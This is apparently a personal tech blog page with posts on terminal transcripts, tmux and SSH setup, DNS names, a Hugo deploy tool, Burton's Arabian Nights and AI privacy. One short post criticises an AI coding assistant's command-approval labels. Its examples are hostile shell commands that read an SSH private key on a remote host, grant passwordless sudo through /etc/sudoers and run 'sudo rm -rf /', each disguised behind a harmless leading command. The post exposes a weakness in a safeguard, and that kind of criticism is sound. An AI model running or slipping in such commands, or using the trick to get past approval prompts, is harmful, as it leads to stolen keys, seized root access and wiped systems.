me.micahrl.com blog

Color HTML Ghostty transcripts

Fri, 10 Apr 2026 06:24:49 -0500

With Ghostty, all I need to do to get a realistic transcript of a shell session is select and copy, extract the HTML source with pbpaste-htmlsrc, and reference it on this site with a Hugo shortcode.

As I learned previously, the macOS clipboard can hold more than one version of the same content.

Examples

Text copied from the built-in Terminal contains:

> osascript -e 'Tell app "Finder" to clipboard info'
«class RTF », 1272, «class utf8», 259, «class ut16», 512, string, 66, Unicode text, 510

And text from Ghostty contains:

> osascript -e 'Tell app "Finder" to clipboard info'
«class utf8», 356, «class HTML», 638, «class ut16», 714, string, 356, Unicode text, 712

Ghostty specifically includes HTML content in the data it provides to the pasteboard. When pasting HTML pasteboard content, the result is formatted text with hyperlinks, bold, italics, and so on. pbpaste-htmlsrc gets the HTML source code for that formatted text.

# step 1: select text in a Ghostty window, and copy it with cmd-c. Then:
pbpaste-htmlsrc > transcript.html

And it makes for nice embedding in a Hugo site:

Last login: Wed Apr 8 13:54:21 on ttys003

13:57:48

Orocroix

∴

whoami micahrl

13:57:59

Orocroix

∴

hostname Orocroix.local

13:58:02

Orocroix

∴

ping naragua PING naragua.banded-goblin.ts.net (100.112.192.27): 56 data bytes 64 bytes from 100.112.192.27: icmp_seq=0 ttl=64 time=87.343 ms 64 bytes from 100.112.192.27: icmp_seq=1 ttl=64 time=87.167 ms 64 bytes from 100.112.192.27: icmp_seq=2 ttl=64 time=88.772 ms ^C --- naragua.banded-goblin.ts.net ping statistics --- 3 packets transmitted, 3 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 87.167/87.761/88.772/0.719 ms

13:58:14

Orocroix

∴

I use a shortcode for this and some CSS to clean it up:

HTML contents of transcript.html

Here’s the raw HTML that it produces:

<div style="font-family: monospace; white-space: pre;">Last login: Wed Apr  8 13:54:21 on ttys003
<div style="display: inline;color: rgb(255, 255, 255);font-weight: bold;">13:57:48</div> E0 <div style="display: inline;color: rgb(0, 191, 255);font-weight: bold;">Orocroix</div> <div style="display: inline;color: rgb(0, 251, 172);">~</div> <div style="display: inline;color: rgb(223, 149, 255);font-weight: bold;">&#8756;</div> whoami
micahrl
<div style="display: inline;color: rgb(255, 255, 255);font-weight: bold;">13:57:59</div> E0 <div style="display: inline;color: rgb(0, 191, 255);font-weight: bold;">Orocroix</div> <div style="display: inline;color: rgb(0, 251, 172);">~</div> <div style="display: inline;color: rgb(223, 149, 255);font-weight: bold;">&#8756;</div> hostname
Orocroix.local
<div style="display: inline;color: rgb(255, 255, 255);font-weight: bold;">13:58:02</div> E0 <div style="display: inline;color: rgb(0, 191, 255);font-weight: bold;">Orocroix</div> <div style="display: inline;color: rgb(0, 251, 172);">~</div> <div style="display: inline;color: rgb(223, 149, 255);font-weight: bold;">&#8756;</div> ping naragua   
PING naragua.banded-goblin.ts.net (100.112.192.27): 56 data bytes
64 bytes from 100.112.192.27: icmp_seq=0 ttl=64 time=87.343 ms
64 bytes from 100.112.192.27: icmp_seq=1 ttl=64 time=87.167 ms
64 bytes from 100.112.192.27: icmp_seq=2 ttl=64 time=88.772 ms
^C
--- naragua.banded-goblin.ts.net ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 87.167/87.761/88.772/0.719 ms
<div style="display: inline;color: rgb(255, 255, 255);font-weight: bold;">13:58:14</div> E0 <div style="display: inline;color: rgb(0, 191, 255);font-weight: bold;">Orocroix</div> <div style="display: inline;color: rgb(0, 251, 172);">~</div> <div style="display: inline;color: rgb(223, 149, 255);font-weight: bold;">&#8756;</div> </div>

I use a shortcode like this to include it on this page:

{{- $filename := (path.Join (path.Dir .Page.File.Path) (.Get 0)) -}}
<div class="ghostty-transcript">
  {{- readFile $filename | safeHTML -}}
</div>

Ghostty apparently doesn’t copy an <html> wrapper element or anything else, which we would have to strip, but it also doesn’t copy the primary foreground and background colors. I’m currently using the Cyberpunk theme, so I specify its foreground and background colors in the CSS:

.ghostty-transcript {
  color: #e5e5e5;
  background-color: #332a57;
  padding: 0.5em;
  overflow-x: auto;
  font-size: 0.8125em;
}

I’m using this weekly at work to retain logs of what I’ve done on production hosts¹, because my work planner and notebok is actually just an intranet Hugo site. It’s made a real difference: in one instance something went wrong with one of my changes, and someone was able to find the problem based on the transcript I shared.

oh my god yes I am trying so hard to get configuration into a repo so I can stop opening shells on live production boxes ↩︎

Write a comment on the original post.

A fortunate birthday

Sun, 05 Apr 2026 09:28:30 -0500

Two weeks ago, I threw my forty-first birthday party.

Invitation by A and Rachel.

Party cookies

I really wanted to make fortune cookies from scratch, and the rest of the party kind of fell out from that. Over a decade ago on a now-defunct blog, I had seen someone do this for a New Year’s Eve party, and it has rolled around in my head ever since.

Hannah and I used this recipe, which turned out to be more forgiving than I expected. You do have to limit yourself to batches of about three at a time, but with one extra person you can double that to six, and we got through ~35 cookies pretty quickly this way. Putting the fortunes in is easy.

I want to make these again, maybe collaboratively, where everyone is asked to bring a fortune, we make the cookies all together, and send everyone home with a bit of enchanted entropy.

Atlas helped make the batter, and he was very annoyed that we had to wait to eat the “party cookies”, which he now talks about every few days. (YOU WANT TO EAT PARTY COOKIES AND CINNAMON ROLLS, he tells me.)

Fortunes

I wrote them myself. I like the creepy ones the most.

What are you avoiding?
What you’re looking for is —OH MY GOD IT’S RIGHT BEHIND YOU
Your disgust is holding you back
A lifetime of happiness lies ahead of you (in bed)
What painful experience do you think everyone should have?
You need to change your mind about something important
You will soon question a decision you made five minutes before
That prophecy about you was technically correct
Be vaguely afraid
If you see something suspicious, say something suspicious
If you see something, say nothing
You were right to be suspicious
You will understand too late
By the time you see it, it won’t have been the first sign
What are you not looking at?
You keep changing the subject
Do you actually believe that explanation?
You didn’t understand the first message and you won’t understand this one either
Trapped in joke factory, send fortune cookies
The self is less coherent than it feels; it’s freeing to acknowledge this
There is nothing new under the sun, but there’s a chance at novelty on the other side of it
Don’t worry about that blank spot in your vision, if you even notice it
Be careful of what you eat
A stranger will enter your life; I suggest you lock your doors
Future historians will argue about the date of your birth
You don’t actually need another sign
That thing you’re so sure of — are you?
It was only funny the first time

Divination

We got a tarot card reader to come for a couple of hours. These were my cards. My interpretation is kept secret but you are free to draw your own conclusions.

Food

Home-made char-siu pork, rice, Thai noodles and peanut sauce (which Atlas called “peanut butter spaghetti”), loads of frozen apps, a mai tai from Noah and a lion’s tail from Josiah. A huge feast. I made about 6.5lbs of pork and I am pleased to report that we ate every last bite of it.

Write a comment on the original post.

kubectl, tmux, and local network permissions

Sun, 22 Mar 2026 14:28:27 -0500

This week I was working on a Kubernetes cluster from my Mac. I discovered that while kubectl worked fine in a regular terminal, if I ran it inside tmux it would tell me there was no route to host.

Here’s a screenshot with a tmux session in the top pane, and a bare shell in the bottom pane:

This screenshot is of Ghostty, but the behavior was the same in Terminal.app.

This appears to be an issue related to code signing on macOS.

Workarounds

As colosieve describes above, you can build tmux from source and codesign it yourself (which also implies eschewing Homebrew’s automatic updates).

What I chose to do instead was access the service over Tailscale. My node was already on Tailscale, so this didn’t cost me anything. I changed the server address from the https://192.168.1.25:6443 you see in the above screenshot to its Tailscale address and it started working just fine.

Apparently the system doesn’t see Tailscale addresses as “local” network addresses, so it doesn’t get in the way.

Poorly thought-out design

This whole scenario suffers from insufficient care from Apple.

First, the error message no route to host is a lie. It ought to transparently say what is happening so that the user knows what to do next. People all over the Internet are confused about this, for example.

Second, there are no escape hatches for the user — there is no way to simply make an exception. Unlike Full Disk Access, the Local Network screen in macOS Settings under Privacy & Security has no + button.

Third, the security boundary being the local network is clearly not very good, since I can bypass it by adding a VPN. Arguably things over a VPN are on average more sensitive than whatever is on my local network. What kind of sense does it make to design a sandbox that prevents local network access but not VPN access?

Fourth, I assume Apple has really smart people working really hard on this, blah blah blah, and maybe they know something about the threat model that I haven’t considered when writing this blog post through gritted teeth. Well, in that case, it would be really nice if they communicated about it, maybe in a way that I could find when I bump my shin on it in the middle of the night! If the right answer really is to prevent this kind of thing by default (setting aside the inability to make an exception), is it too much to ask they make the case for it?

My guess is that this behavior is defense in depth on a network with badly configured devices; this probably prevents some bottom-of-the-barrel malware from adding routers with default admin/admin credentials to a botnet. But this drives home the need for the user to make an exception. My case with Kubernetes is clearly different, because I trust the software I’m running (both kubectl and tmux).

This is worse than an inconvenient “are you sure?” dialog box, both in that its effect size is large (hours this week, for me) and in that the workarounds are not general solutions.

References

Miscellaneous troubleshooting notes

kubectl inside of screen and zellij works fine too, it’s only tmux that I was having a problem with. screen ships with macOS, so that makes sense, but I don’t understand why zellij doesn’t hit the same problem, since as far as I could tell my copy installed from homebrew is not codesigned either.
I tried turning my Tailscale connection off, but this didn’t affect the behavior.
The shell environment vars are identical in and out of tmux — nothing weird happening in one or the other.
I tried running a Bonjour command (dns-sd -B _http._tcp) within tmux to see if that would trigger a request to add tmux to the list of exceptions in “Local Network” — no dice, and it worked just fine without being blocked.
I tried creating a launchd agent that starts a tmux session in the background to see if that would trigger a request — also no.

Write a comment on the original post.

A club for symmetrical DNS names

Mon, 16 Mar 2026 21:50:27 -0500

I have a demonstrated interest in symmetrical DNS names.

“Symmetrical” could mean several things. Maybe a single name that is a palindrome, like if you owned elpmaxe.www.example. Maybe a pair of names that have reversed components, like if you owned example.institute and institute.example. Or maybe URLs that can be cut in half and flipped 180°, like https://zq.suns.bz//:sdʇʇɥ.

With this interest, an unhealthy predilection to stay up late typing things into porkbun “just to see”, and the extremely flimsy justification that it would be fun to build all this on AWS and use hugo deploy instead of a full-fat static site host like Netlify, I found myself in possession of suns.bz. I set about building a tiny system that receives POST requests, validates DNS entries, and records validated entries. A club with membership, in other words.

I have some ideas for the future, like maybe a web ring, or a game inspired by https://ipv4.games/. Contributions are welcome.

Do you also have an interest in symmetrical names? Do you control a DNS zone? In that case, please join!

Discuss on HN.

Write a comment on the original post.

SSH, tmux, and agent forwarding

Sat, 14 Mar 2026 11:15:35 -0500

By default, using the same tmux session from multiple ssh sessions breaks agent forwarding.

Here’s why: When tmux starts, it inherits the environment. By default, that environment is fixed. ssh sets some environment variables, like SSH_CONNECTION and, if you forwarded an agent, SSH_AUTH_SOCK, but those will only work properly on the ssh connection that started the tmux session. Connecting to the same tmux session later over a new ssh connection will use the values from the original ssh connection, so they’ll be out of date. Trying to use the same session from both a local terminal and an ssh connection will have the same problem.

Furthermore, if we are using ssh to connect out from tmux (for instance, pulling git repos inside of the tmux session), we’d like to use a local agent if our session is local¹, but a forwarded agent if one is available from an ssh connection.

To fix these issues, we need to do two things:

Configure the shell to update tmux’s environment on every prompt
Configure ssh to only use a local agent from a non-ssh connection (which we have already done previously)

My configuration

Here’s what I do in my .zshrc to configure zsh:

tmux_update_environment() {
    test -n "$TMUX" && test -z "$TMUX_NO_UPDATE_ENVIRONMENT" || return
    eval $(tmux show-environment -s)
}
preexec_functions+=(tmux_update_environment)

And here’s how I set ~/.ssh/config to use the 1Password agent only if it’s not being run over an ssh connection:

Host *
  Match exec "test -z $SSH_CONNECTION"
    IdentityAgent "~/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock"

Adapt this to your shell and preferred local agent, and

Technical details

This works well for me. It’s worth going into some technical detail here as there are some tradeoffs and you may prefer to make some different ones.

tmux environment

I pull in everything that tmux show-environment -s returns. For me right now on tmux 3.5a on macOS, the result of that command is:

unset DISPLAY;
unset KRB5CCNAME;
unset SSH_AGENT_PID;
unset SSH_ASKPASS;
SSH_AUTH_SOCK="/private/tmp/com.apple.launchd.gxn88S3JmK/Listeners"; export SSH_AUTH_SOCK;
unset SSH_CONNECTION;
unset WINDOWID;
unset XAUTHORITY;

This is a curated set of environment vars that tmux tracks for each session. (It’s clearly not the entire environment from when it was started, but you can see that with tmux show-environment -g if you want.) All of them may change as you connect to tmux sessions from different environments.

Setting them in the zsh preexec_functions list means that these will get overwritten after hitting enter but before the command is run. Setting any of those variables on the command line will get overwritten immediately with no notice. This might be confusing!

That said, you can work around it as long as you remember to do so. I add a check for TMUX_NO_UPDATE_ENVIRONMENT so that I can disable this behavior in a given shell session if necessary.

If you want this behavior on only some of these, you can always filter the list.

zsh hook functions

You could set this in precmd_functions instead. As the docs say, precmd is executed before each prompt; preexec is executed just after a command has been read from the user, but before it is executed.

SSH configuration

The SSH configuration is a bit tricky. As I discovered last time, it’s impossible to quote that SSH_CONNECTION variable correctly, but it works just fine if you don’t quote it at all. It can do Match lines like that, but it doesn’t do environment or tilde expansion in the IdentityAgent setting, so you must hard-code the absolute path.

Also, previously I used SSH_TTY, which works fine for interactive sessions, but SSH_CONNECTION is set even for noninteractive sessions, and using it instead lets this work properly when doing something like

ssh me@mac-mini.local sh -c 'cd ~/some-repo; git pull;'

Agents like 1Password or those that require using TouchID or a YubiKey will just hang if you attempt to use them over an SSH connection, which is not a great experience. ↩︎

Write a comment on the original post.

Naming nonconsensual AI clones

Fri, 13 Mar 2026 07:35:15 -0500

Superhuman, née Grammarly, is getting sued (paywall) for putting the names of living professionals on output from an AI system which they called “Expert Review”. I first saw this on Pixel Envy, which links to Platformer:

On Friday I learned to my surprise that I had become an editor for Grammarly. The subscription-based writing assistant has introduced a feature named “expert review” that, in the company’s words, “is designed to take your writing to the next level — with insights from leading professionals, authors, and subject-matter experts.”
Read a little further, though, and you’ll learn that these “insights” are not actually “from” leading professionals, or any human person at all. Rather, they are AI-generated text, which may or may not reflect whichever “leading professional” Grammarly slapped their names on.

“References to experts in Expert Review are for informational purposes only and do not indicate any affiliation with Grammarly or endorsement by those individuals or entities,” reads a disclaimer a few hundred words down the support page.

Grammarly turned me into an AI editor against my will and I hate it, Platformer

I wasn’t able to check if the feature offered advice from visionary writer Timothy Zahn because it was already shut down by the time I got around to looking at this. I suspect not, however, because Zahn offered the perfect solution to all this backlash back in 1993, in the form of Luuke Skywalker.

As the delightfully-named unofficial fan encyclopedia explains:

Luuke Skywalker was a genetic clone of the Jedi Knight Luke Skywalker, grown from cells extracted from the hand Skywalker lost during his duel with the Dark Lord Darth Vader on Cloud City. Skywalker's hand and lightsaber were recovered by Vader and taken to Emperor Palpatine's Mount Tantiss storehouse on the planet Wayland. In 9 ABY, the insane clone Jedi Master Joruus C'baoth performed a mind trick on Imperial Grand Admiral Thrawn's subordinate, Captain Gilad Pellaeon, ordering him to make a special clone for him. The clone that later became Luuke Skywalker was grown in secret from sample B-2332-54, the sorting code assigned to Luke Skywalker's hand. The clone was grown in a Spaarti cloning cylinder over the period of less than a month. When he was ready, the clone was given Jedi training by C'baoth and over time became little more than an extension of C'baoth's will.

Luuke Skywalker, Wookiepedia

Luuke was a clone of the more famous Luke Skywalker, with whom the reader may already be familiar. He is so-named by Joruus C’baoth, who was himself a clone of the just-as-famous Jorus C’baoth.

Why the double-u? Dedicated Force historian /u/Snivythesnek explains:

2. Why "Luuke"?
Luuke Skywalker is a clone. A spaarti clone, to be exact. Spaarti clones were fast growing and unstable clones that were prone to madness (especially the cloned Force users, it seems). A personality quirk of Spaarti clones who thought of themselves as the person they were cloned from seems to be that they cannot actually pronounce their own name. In the Thrawn trilogy, this shows itself as the mad Jedi clone, and one of the main villains of the story, Joruus C’Baoth drawing out the “u” from the name of his themplate Jorus C’Baoth. Said clone also named Luuke. That’s how the name even came to be.

Luuke Skywalker did nothing wrong and I am his strongest soldier. Posted to r/CharacterRant on Reddit.

This useful “personality quirk” is a perfect solution to Grammarly’s problem. Here are Spaarti clone names of all of the experts whose names were on Grammarly AI reviews in the Platformer piece:

Caasey Newton
Steephen King
Neeil deGrasse Tyson
Caarl Sagan
Shooshana Zuboff
Claaire Wardle
Joohn Carreyrou
Kaara Swisher
Tiimnit Gebru
Juulia Angwin

It’s perfectly transparent to any well-read user what’s happening, and completely clear legally.

No copyright intended, as they say.

Write a comment on the original post.

Fuck the safety briefing

Sat, 07 Mar 2026 20:11:02 -0600

I bring my own entertainment on airplanes: I download movies, copy them to my phone, and test that audio and subtitles work correctly the day before a flight.

For a business trip on Wednesday, my movie was Johnny Mnemonic: In Black and White. It was great!

Your browser does not support the video tag; download the video instead.

I thought the B&W was a real upgrade over the original. It reinforces the retrofuture of a story written in 1981 and set in 2021. Wikipedia notes:

A black-and-white version of the theatrical cut, the edition was developed by Robert Longo. While not a director's cut, it is nonetheless closer to Longo's intended vision for the film; he had desired to shoot in black-and-white but was denied the opportunity. Initially, for the film's 25th anniversary, Longo ripped a Blu-ray copy of the film and created a black-and-white version of the film himself. After contacting Don Carmody and informing him of his intention to release the new version of the film on YouTube, Carmody requested to see it first. Impressed, Carmody convinced Longo to approach Sony Pictures for an official release. Sony Pictures agreed to provide the film's footage to Longo for a professional conversion, so that they could release the new version on Blu-ray. Longo proceeded to re-grade the film's color in black-and-white, with the help of the film's original colorist Cyrus Stowe.

Johnny Mnemonic: In Black and White - Wikipedia

Love the idea of a director ripping a Blu-ray of his own movie so he can release a new edit on Youtube. Who says modern technology is bad?

Your browser does not support the video tag; download the video instead.

I didn’t actually intend to watch something special on the flight. In that context, any old Alien vs Predator trash is perfect for me. I do it because you can’t trust in-flight entertainment systems. They are sometimes simply down, which is inconvenient enough, but the worst thing is that they pause the movie for any announcement over the intercom.

And like, fuck the safety briefing!

Fuck this captain’s fourth apology for the delay, fuck the performance of the lie that we have ever needed to place our devices in “airplane mode”, fuck the flight attendant who is mad that one of the cattle in economy tried to use the first class lavatory, fuck the credit card offer oh my god, fuck the instruction that we keep our seatbelts on after landing (??), fuck the verbal notice of the baggage claim carousel.

How dare you interrupt Alien vs Predator for this.

Your browser does not support the video tag; download the video instead.

How I feel when my movie is paused so I can hear that the bumpy flight I'm on is, indeed, bumpy

So I bring my own.

Write a comment on the original post.

Now deployed with Hedgerules

Sun, 01 Mar 2026 14:19:31 -0600

A lot of people are complaining about bot traffic. I was curious as to the impact on this site, but for the past six years it’s been deployed to Netlify, and I didn’t have a way to see raw request volume without paying for a limited Analytics feature, and I couldn’t see disaggregated referer and user-agent without paying a lot more money for enterprise log drains.

AWS has powerful observability features that provide exactly what I want, but moving a Netlify site to S3 + CloudFront isn’t that simple. AWS S3 websites are limited in a few ways, and a CloudFront + S3 REST deployment is more powerful but more barebones out of the box: by default it doesn’t support directory redirects, index file rewrites, or custom response headers. Those features are there by default on Netlify, but on AWS you have to write custom CloudFront functions to handle them.

So I wrote Hedgerules to deploy those CloudFront functions, enabling me to switch my site from Netlify to AWS without losing any functionality, and gaining the observability I wanted.

The Hedgerules documentation includes a detailed comparison table for all its features. The most critical ones are:

Directory index redirects — /path redirects to /path/
Index file rewriting — /path/ serves /path/index.html from S3
Hugo alias redirects — redirects from Hugo’s aliases frontmatter
Custom redirects — user-defined _hedge_redirects.txt file
Custom response headers — global defaults and per-page overrides via _hedge_headers.json

Hedgerules also has a niche feature that I believe is totally unique to it: it understands a special {/path} request path token when parsing custom response header definitions, which is replaced by the request path (and guaranteed to be prefixed with a /). I use this to emit Onion-Location headers for every page with just one entry.

Hedgerules includes a Hugo theme that provides templates for its _hedge_redirects.txt and _hedge_headers.json files. (It doesn’t affect your site’s style or generated HTML pages at all.) As part of this, it creates a map of all redirects and headers. This is similar to Hugo redirects and partial functions from all the way back in 2021, and uses the more modern Hugo return statement rather than a clunky partial that expects you to pass it a scratch var.

AWS observability

Now that Hedgerules has handled those issues for me, I can pick up a bunch of useful AWS features for approximately free, like raw logs with CloudWatch Logs Insights, and visuals with CloudWatch Dashboards.

Here are some example screenshots from the dashboard for my main website:

And here is a live tail of my access logs:

Finally, I can use AWS Athena to query historical logs in a SQL dialect:

On Netlify

My experience with Netlify has been wonderful, and I still have maybe a dozen sites there. I think the best endorsement comes from the reason I made Hedgerules in the first place: there’s a bunch of extra bot traffic out there, and I just had no idea because Netlify is handling it all for me.

Write a comment on the original post.

Anthropic, you need a shell parser

Mon, 02 Feb 2026 21:04:25 -0600

Anthropic. Claude. Bro.

This is not a hugo config command.

Is echo 'cat /root/.ssh/id_ed25519' | ssh productionlol.example.com sh -c 'cat - >/tmp/runme.sh; sh /tmp/runme.sh' an “echo command”?

Is grep '127.0.0.1' /etc/hosts | sed 's/127\.0\.0\.1.*localhost.*/myaccount ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers a “grep command”??

Is yes | sudo rm -rf / a “yes command”!?!?

This, from the company that’s supposed to save us from superpersuasion.

Write a comment on the original post.

Burton’s Thousand Nights and a Night

Mon, 26 Jan 2026 21:13:46 -0600

I was recently looking for some stories from the Arabian Nights, and found beautiful editions on the Internet Archive of The Book of the Thousand Nights and a Night translated by Richard Burton, which Wikipedia notes is the only complete English translation.

The vocabulary is a lot of fun. Wikipedia quotes historian Robert Irwin,

Burton shared [John] Payne’s enthusiasm for archaic and forgotten words. The style Burton achieved can be described as a sort of composite mock-Gothic, combining elements from Middle English, the Authorized Version of the Bible and Jacobean drama. Most modern readers will also find Burton’s Victorian vulgarisms jarring, for example ‘regular Joe Millers’, ‘Charleys’, and ‘red cent’. Burton’s translation of the Nights can certainly be recommended to anyone wishing to increase their word-power: ‘chevisance’, ‘fortalice’, ‘kemperly’, ‘cark’, ‘foison’, ‘soothfast’, ‘perlection’, ‘wittol’, ‘parergon’, ‘brewis’, ‘bles’, ‘fadaise’, ‘coelebs’, ‘vivisepulture’, and so on. ‘Whilome’ and ‘anent’ are standard in Burton’s vocabulary. The range of vocabulary is wider and stranger than Payne’s, lurching between the erudite and the plain earthy, so that Harun al-Rashid and Sinbad walk and talk in a linguistic Never Never Land.

It was circulated (though not “published” — see below) in the 1880s, and is quite readable. It feels lux to read even the scanned volumes on the Internet Archive.

It’s also intensely horny.

“Obsessive focus”

The original work clearly contains not a few stories intended primarily for the prurient interest. The stories first came from oral folk tales, of course, and the mix includes morality tales and adventure stories alongside dirty jokes.

Burton spends a great deal of time on the sexual aspect, sometimes far more than the source material. Wikipedia quotes critics claiming the translation has an “obsessive focus on sexuality”. Apparently the work was considered pornographic at the time it was printed, which prevented legal publication. To distribute it, Burton created a private club, the “Kama Shastra Society”, and printed copies only for members.

The bawdiness of both the original stories and Burton’s footnotes is really funny.

Three stories about slave girls

For example, these three stories about slave girls are printed one after another and only make sense as a throuple of dirty jokes told together. You can tell Burton’s interest is piqued by his footnotes, but it’s also clear that the smuttiness is authentic.

The way I read this first one, moving the hands as indicated in the footnote is intended to be suggestive, like making an hourglass figure with your hands, although I am not actually sure.

ABU AL-ASWAD AND HIS SLAVE-GIRL.

Abu al-Aswap bought a native-born slavegirl, who was blind of an eye, and she pleased him; but his people decried her to him; whereat he wondered and, turning the palms of his hands upwards,² recited these two couplets,

“They find me fault with her where I default ne’er find,
Save haply that a speck in either eye may show:
But if her eyes have fault, of fault her form hath none,
Slim-built above the waist and heavily made below.”

² When reciting the Fatihah (opening Koranic chapter), the hands are held in this position as if to receive a blessing falling from Heaven; after which both palms are passed down the face to distribute it over the eyes and other organs of sense.

The second also requires a footnote to explain, although only because of an inaccurate translation. It’s funny that apparently the sexual nature of the joke would have been lost to the intended western audience if the original word was translated directly, but it still needed to be euphemized.

I also like the phrasing from the second girl. “Game belongeth to him who taketh it” obviously is a reference to hunted animals but it sounds like she’s telling the first girl “don’t hate the player”.

HARUN AL-RASHID AND THE TWO SLAVEGIRLS.

The Caliph Harun al-Rashid lay. one night between two slavegirls, one from AlMedinah and the other from Cufa and the Cufite rubbed his hands, whilst the Medinite rubbed his feet and made his concern¹ stand up. Quoth the Cufite, “I see thou wouldst keep the whole of the stock-in-trade to thyself; give me my share of it... And the other answered, “I have been told by Malik, on the authority of Hisham ibn Orwah,² who had it of his (grand) father, that the Prophet said, ‘Whoso quickeneth the dead, the dead belongeth to him and is his.’” But the Cufite took her unawares and, pushing her away, seized it all in her own hand and said, “Al-A’amash telleth us, on the authority of Khaysamah, who had it of Abdallah bin Mas’td, that the Prophet declared, ‘Game belongeth to him who taketh it, not to him who raiseth it,’"

¹ The word used is “bizá’at”=capital or a share in a mercantile business.

² This and the following names are those of noted traditionists of the eighth century, who derive back to Abdallah bin Mas’td, a “Companion of the Apostle.” The text shows the recognised formula of ascription for quoting a “Hadis” =saying of Mohammed; and sometimes it has to pass through half a dozen mouths.

The third one seems to have iterated on the second, I suspect being invented after the telling of the first two together became rote. Not sure where the euphemism comes from in this one.

THE CALIPH HARUN AL-RASHID AND THE THREE SLAVE-GIRLS.

The Caliph Harun al-Rashid once slept with three slave-girls, a Meccan, a Medinite and an Irakite. The Medinah girl put her hand to his yard and handled it, whereupon it rose and the Meccan sprang up and drew it to herself. Quoth the other, “What is this unjust aggression? A tradition was related to me by Malik³ after Al-Zuhri, after Abdallah ibn Salim, after Said bin Zayd, that the Apostle of Allah (whom Allah bless and keep!) said: ‘Whoso enquickeneth a dead land, it is his.’” And the Meccan answered, “It is related to us by Sufyan, from Abu Zanad, from Al-A’araj, from Abu Horayrah, that the Apostle of Allah said: ‘The quarry is his who catcheth it, not his who starteth it.’” But the Irak girl pushed them both away and taking it to herself, said, “This is mine, till your contention be decided.”

³ Traditionists of the seventh and eighth centuries who refer back to the “Father of the Kitten” (Abu Horayrah), an uncle of the Apostle.

The Ebony Horse

In this case, the original story might have been a bit salacious with a prince visiting a princess in her bedroom, but Burton’s footnote really takes it to the next level, focusing on how the ladies sleep: naked. You can practically hear him giggling. Everyone is just naked! In bed! At home! Right next to their husbands and wives! Can you imagine if we did that here, in England?? And by we I mean specifically me and my wife!?!?!? We definitely don’t though. But what if we did???

He went up to the couch, to see what was thereon, and found a young lady lying asleep, chemised with her hair²...

² Eastern women in hot weather, lie mother-nude under a sheet here represented by the hair. The Greeks and Romans also slept stripped and in medieval England the most modest women saw nothing indelicate in sleeping naked by their naked husbands. The “night-cap” and the “night-gown” are comparatively modern inventions.

Lady Burton’s Edition

There was a “Lady Burton’s edition” with all of this sexual content removed. Apparently the name was just for advertising purposes; Burton’s wife Isabel is quoted as saying

I have never read, nor do I intend to read, at his own request, and to be true to my promise to him, my husband’s Arabian Nights.

This makes the sexual content so much funnier to me — Burton is smirking in the footnotes about naked wives sleeping next to naked husbands but makes his own wife pinky swear never to read his middle-eastern erotic fan-footnotes.

Sources

My favorite edition I found is the “Burton Club” edition, printed in the United States, with gold leaf on the binding for the first ten volumes and silver for the supplemental six. Individual volumes on the Internet Archive are linked below. I could not find all volumes from the same source. Any corrections or higher quality links would be appreciated!

The cover images in this post are taken from this scan of Volume II.

It’s too bad there are no modern reproductions of this lovely edition. I guess print on demand can’t make something this large and nice economical yet.

The entire work is also available in hypertext, which makes for much nicer copying and pasting but isn’t nearly as fun to read.

The Book of the Thousand Nights and a Night

Supplemental Nights to the Book of the Thousand Nights and a Night

Write a comment on the original post.

There is no new privacy concern for LLMs training on your data

Sun, 25 Jan 2026 20:23:51 -0600

I keep hearing about the privacy concerns for AI training on personal data, and I think this concern is unfounded and basically nonsense.

What is the threat model exactly? Let’s say your trove of personal data is used by Google for training the next iteration of Gemini. Everything you have: all medical records, financial history, texts and emails, location data, every sin you have committed in a detailed journal. Oops! What then?

Gemini would mix these in with every other recorded fact in the universe, and none of it would get tied to you. Compared to the vast ocean of data it is trained on in general, even the most thorough inventory of data about you personally is just a molecule or two. It probably couldn’t even regurgitate your name.

Google expends a great deal of effort to prevent specific data points from being included in general answers ("overfitting"). The whole point of Gemini and the entire field of machine learning is to have the computer generalize, not memorize.

Furthermore, if there were weird facts encoded about someone in Gemini, people would discount them. Without public documentation to point to (at which point you can’t really blame the LLM training) it would be indistinguishable from a hallucination.

Are we actually talking about inference instead?

Large companies, including all AI companies, personalize our accounts by keeping data about us, including using LLM inference now that it is available. If you are worried about databases that tie records to you personally, LLMs don’t change a thing. Just like you had to trust that pre-LLM Gmail was going to steward your email well, not give it to law enforcement without a warrant, not publish it on the web for all to see, etc, you have to trust that post-LLM Gemini won’t do the same, with the data you give it in each chat session.

Any company you can trust with your email, you can trust with your AI chats. Or, if you prefer, if you’d accept a company’s bad behavior because their email product is good enough, you can accept the same bad behavior if their LLM product is good in equal measure.

Write a comment on the original post.

Linkblogging

Sun, 25 Jan 2026 11:47:24 -0600

I’ve started a new Links section: just a link, with just enough description for you to decide if you want to click. It has a its own feed; to read it, subscribe to that feed separately or to the newsletter, which will include occasional link posts.

I’ve been thinking about this ever since I read Kellan Elliott-McCrea’s A Link Blog in the Year 2024. Some of my favorite blogs are linkblogs too!

I think people underestimate the linkblog. Kellan says it’s “the very definition of something that no one needs”. In Nelson Minar’s post about his linkblog, he isn’t quite so pessimistic, but expresses a desire for more reach and says “I accept what I’m doing is not mainstream”. Fair enough, but: I think linkblogs are one of those things with outsized impact compared to their direct userbases¹.

I suspect that while they are not read by very many people in absolute terms, the bloggers who contribute the most to the zeitgeist are almost all readers of linkblogs. I also believe that linkblogs contribute significantly to blog discovery. A huge number of the blogs in my feed reader came to me via linkblogs.

When thinking about linkblogs, I also think there are more types than is widely acknowledged. Here’s a sample among blogs I personally read:

Feeds of individual links
- Mindless Link Propagation
- Nelson’s Linkblog
Some blogs in this category might be RSS-only — based on Nelson’s post linked above, it sounds like that used to be the case for his linkblog.

Other blogs here might have a separate web page for each source link.
Feeds of individual links with commentary
- Daring Fireball (which has claimed the excellent name “Linked List”)
- Pixel Envy
- aliquote.org
- jwz’s blog
- kottke.org
- Simon Willison’s Weblog
- One Foot Tsunami
Some blogs here also have essays or microposts that don’t include links, while others are exclusively about the links.

For link posts, some blogs may have the RSS feed point to the source, while others point it to a page on the linkblog.
Link periodicals
- Trivium
- Nixers Newsletter (also available via RSS)
- jatan.space
Blogs that intermix periodic link posts with other posts
- Michael Tsai
- Interconnected
- Astral Codex Ten (including for years at Slate Star Codex), for example Links For December 2025
- Brett Terpstra, for example Web Excursions for January 12nd, 2026
- The Diff, for example Longreads + Open Thread from January 17th
- Construction Physics, for example Reading List 01/24/26
- Ozy Brennan’s Thing of Things, for instance Linkpost for December
